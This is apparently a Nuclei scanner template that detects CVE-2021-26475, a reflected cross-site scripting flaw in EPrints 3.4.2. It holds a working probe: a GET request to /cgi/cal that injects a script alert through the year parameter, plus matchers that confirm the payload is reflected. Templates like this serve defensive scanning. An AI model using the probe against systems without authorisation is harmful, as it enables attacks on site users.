47 lines
1.5 KiB
YAML
47 lines
1.5 KiB
YAML
id: CVE-2021-26475
|
|
|
|
info:
|
|
name: EPrints 3.4.2 - Cross-Site Scripting
|
|
author: geeknik
|
|
severity: medium
|
|
description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
|
|
reference:
|
|
- https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
|
|
- https://files.eprints.org/2548/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26475
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-26475
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00187
|
|
epss-percentile: 0.55916
|
|
cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: eprints
|
|
product: eprints
|
|
tags: cve,cve2021,xss,eprints,intrusive
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- </title><script>alert('{{randstr}}')</script>
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502201ecd0012ba7c64b73ed111e37bbbbb5e087567305c6ca5f81dbbf5815d561bb0022100b74387e768c9740ae276f3349afaa3afa5d44c166e8a715b837faafd69febb96:922c64590222798bb761d5b6d8e72950 |